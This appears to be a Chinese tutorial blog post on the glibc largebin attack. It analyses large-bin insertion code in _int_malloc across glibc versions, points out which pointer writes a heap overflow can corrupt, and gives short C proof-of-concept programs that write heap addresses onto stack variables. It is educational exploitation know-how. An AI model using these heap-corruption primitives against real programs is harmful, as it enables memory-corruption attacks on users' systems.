关于高低版本的largebin attack攻击 低版本largebin arrack攻击 此处适用的版本为2.23~2.30
下面是对glibc2.23源码的分析(由于自己画不出这种效果借鉴了大佬的图)
逻辑还是非常清晰的我把它简单分为一下几个过程:
从unsorted bin链中取出的chunk大小,是否属于small bin的大小
从unsorted bin链中取出的chunk大小,是否属于large bin的大小
计算出当前chunk大小从属的main_arean->bins的下标
获取该bins下标的large bin的头结点 bck
通过large bin头节点的fd,找到large bin链中size最大的chunk fwd
(large bin链中第一个chunk)
当前large bin链不为空(操作的是fd_nextsize和bk_nextsize形成的链)
当前chunk的size < large bin链中最小的chunk
(总结:将当前chunk插入到large bin链的尾部,即插入到最小的chunk的后面
)
fwd = bck;
令 fwd 指向 large bin 头结点
bck = bck->bk;
令 bck 指向 largin bin 尾部 chunk,就是当前已在large bin链中最小的这个chunk
victim->fd_nextsize = fwd->fd;
当前chunk 的 fd_nextsize 指向 largin bin 的第一个 chunk
victim->bk_nextsize = fwd->fd->bk_nextsize;
当前chunk的 bk_nextsize 指向原来链表的第一个 chunk 指向的 bk_nextsize(当前chunk的bk_nextsize指向原先最小的chunk)
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
原先最小chunk的fd_nextsize指向当前chunk
fwd->fd->bk_nextsize = victim
large bin中第一个chunk的bk_nextsize指向当前chunk
当前chunk的size >= large bin链中最小的chunk
从large bin链中size最大的chunk fwd
(large bin链中第一个chunk),从大到小遍历,找到首个不大于当前chunk的chunk
如果找到的chunk的大小 =
当前chunk
fwd = fwd->fd;
将当前chunk 插入到该chunk的后面,并不修改 nextsize 指针
如果找到的chunk的大小 <
当前chunk
victim->fd_nextsize = fwd;
当前chunk的fd_nextsize指向这个找到的chunk
victim->bk_nextsize = fwd->bk_nextsize;
当前chunk的bk_nextsize指向这个找到的chunk的bk_nextsize
fwd->bk_nextsize = victim;
找到chunk的bk_nextsize指向当前chunk
victim->bk_nextsize->fd_nextsize = victim;
找到chunk原先前面的chunk的fd_nextsize指向当前chunk
获取找到的chunk的前面的一个chunk(通过bk找到当前chunk插入前,最小的比找到的chunk大的chunk)
当前large bin链为空(操作的是fd_nextsize和bk_nextsize形成的链)
当前chunk的fd_nextsize
和bk_nextsize
均指向自己
将当前chunk链入large bin链中(fd,bk形成的链
)
下面通过被破坏的large bin chunk实现漏洞利用
的角度来观察不同入链的逻辑(一般是堆溢出修改large bin的fd,bk,fd_nextsize,bk_nextsize
)
1)首个chunk入large bin链
此时还没有被破坏的chunk
large bin fd,large bin bk 指向这个chunk的首地址
chunk的fd,bk指向large bin 头结点的首地址
fd_nextsize,bk_nextsize指向chunk自身
2)比最小的chunk还小的chunk入large bin链 先看看该入链逻辑所涉及的代码,寻找可被破坏-用于利用的chunk(从而有堆溢出产生时,构造这种堆结构)
,以及利用方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); 【1 】 fwd = bck->fd; 【2 】 if (fwd != bck) { if ((unsigned long ) (size) < (unsigned long ) chunksize_nomask (bck->bk)) { fwd = bck; 【3 】 bck = bck->bk; 【4 】 victim->fd_nextsize = fwd->fd; 【5 】 victim->bk_nextsize = fwd->fd->bk_nextsize; 【6 】 fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; 【7 】 } mark_bin (av, victim_index); victim->bk = bck; 【8 】 victim->fd = fwd; 【9 】 fwd->bk = victim; 【10 】 bck->fd = victim; 【11 】
漏洞点主要在于【6】【7】,下面分析一下漏洞原理
victim->bk_nextsize = fwd->fd->bk_nextsize;
通过修改原先最小largebin的bk_nextsize使得被链入的chunk的bk_nextsize也被篡改
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
分开研究其中 victim->bk_nextsize->fd_nextsize = victim
把篡改的BK_NS的fd修改为victim的首地址,fwd->fd->bk_nextsize= victim
把bck->bk_ns的值修改为victim的首地址
【8】,【9】,【10】,【11】都是不能控制的
下面是相关代码,可以自己调试看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 #include <malloc.h> #include <stdio.h> int main () { printf ("begin test\n" ); unsigned long stack_var = 0 ; size_t *p1 = malloc (0x410 ); malloc (0x10 ); size_t *p2 = malloc (0x400 ); malloc (0x10 ); free (p1); malloc (0x470 ); free (p2); p1[3 ] = (unsigned long )(&stack_var -4 ); malloc (0x470 ); return 0 ; }#include <malloc.h> #include <stdio.h> int main () { printf ("begin test\n" ); unsigned long stack_var = 0 ; size_t *p1 = malloc (0x420 ); malloc (0x10 ); size_t *p2 = malloc (0x410 ); malloc (0x10 ); size_t *p3 = malloc (0x400 ); malloc (0x10 ); free (p1); free (p2); malloc (0x470 ); free (p3); p1[3 ] = (unsigned long )(&stack_var -4 ); malloc (0x470 ); return 0 ; }
3)放入相同大小的 chunk 所涉及的代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 victim_index = largebin_index (size); bck = bin_at (av, victim_index); 【1 】 fwd = bck->fd; 【2 】 if (fwd != bck) { size |= PREV_INUSE; if ((unsigned long ) (size) < (unsigned long ) chunksize_nomask (bck->bk)) { } else { while ((unsigned long ) size < chunksize_nomask (fwd)) 【3 】 { fwd = fwd->fd_nextsize; } if ((unsigned long ) size == (unsigned long ) chunksize_nomask (fwd)) fwd = fwd->fd; 【4 】 else { } bck = fwd->bk; 【5 】 } } } mark_bin (av, victim_index); victim->bk = bck; 【6 】 victim->fd = fwd; 【7 】 fwd->bk = victim; 【8 】 bck->fd = victim; 【9 】
漏洞点主要在【4】【5】,下面进行漏洞原理分析
如果fwd和victim大小相等,就会把fwd中的fd取出来用,从上图可以可以想到,假设存在堆溢出漏洞,那就可以修改fwd->fd, bck = fwd->bk这条处理会把伪造的fwd的bk取出作为bck,伪造的fwd chunk的bk字段必须是要有内容的,最好是个可写内存的地址,否则执行【9】时程序会崩溃。然后fwd->bk = victim这条处理就会在伪造的fwd->bk上写入victim的首地址。
4)放入不和其他chunk size相等,且不是最小的chunk 所涉及的代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 victim_index = largebin_index (size); bck = bin_at (av, victim_index); 【1 】 fwd = bck->fd; 【2 】 if (fwd != bck) { size |= PREV_INUSE; if ((unsigned long ) (size) < (unsigned long ) chunksize_nomask (bck->bk)) { } else { while ((unsigned long ) size < chunksize_nomask (fwd)) 【3 】 { fwd = fwd->fd_nextsize; } if ((unsigned long ) size == (unsigned long ) chunksize_nomask (fwd)) else { victim->fd_nextsize = fwd; 【4 】 victim->bk_nextsize = fwd->bk_nextsize; 【5 】 fwd->bk_nextsize = victim; 【6 】 victim->bk_nextsize->fd_nextsize = victim; 【7 】 } bck = fwd->bk; 【8 】 } } else } mark_bin (av, victim_index); victim->bk = bck; 【9 】 victim->fd = fwd; 【10 】 fwd->bk = victim; 【11 】 bck->fd = victim; 【12 】
主要漏洞点在【5】【7】【8】【9】【10】【11】【12】,下面进行漏洞原理分析
初始状态如下
执行到【7】后状态如下
执行到最后状态如下
修改了零个篡改地址为victim的首地址
测试代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #include <stdio.h> #include <malloc.h> int main () { printf ("begin test\n" ); unsigned long stack_var1 = 0 ; unsigned long stack_var2 = 0 ; size_t * p1 = malloc (0x410 ); malloc (0x8 ); size_t * p2 = malloc (0x420 ); malloc (0x8 ); free (p1); malloc (0x470 ); free (p2); p1[1 ] = (unsigned long )(&stack_var1 - 2 ); p1[3 ] = (unsigned long )(&stack_var2 - 4 ); malloc (0x470 ); return 0 ; }
高版本largebin arrack攻击 关于glib2.30以后,largebin arrack攻击用下面这个分支
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 if (fwd != bck) { size |= PREV_INUSE; assert (chunk_main_arena (bck->bk)); if ((unsigned long ) (size) < (unsigned long ) chunksize_nomask (bck->bk)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { } }
下面是源码,多加了两个检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; if (fwd != bck) { size |= PREV_INUSE; assert (chunk_main_arena (bck->bk)); if ((unsigned long ) (size) < (unsigned long ) chunksize_nomask (bck->bk)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert (chunk_main_arena (fwd)); while ((unsigned long ) size < chunksize_nomask (fwd)) { fwd = fwd->fd_nextsize; assert (chunk_main_arena (fwd)); } if ((unsigned long ) size == (unsigned long ) chunksize_nomask (fwd)) fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)" ); fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; if (bck->fd != fwd) malloc_printerr ("malloc(): largebin double linked list corrupted (bk)" ); } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;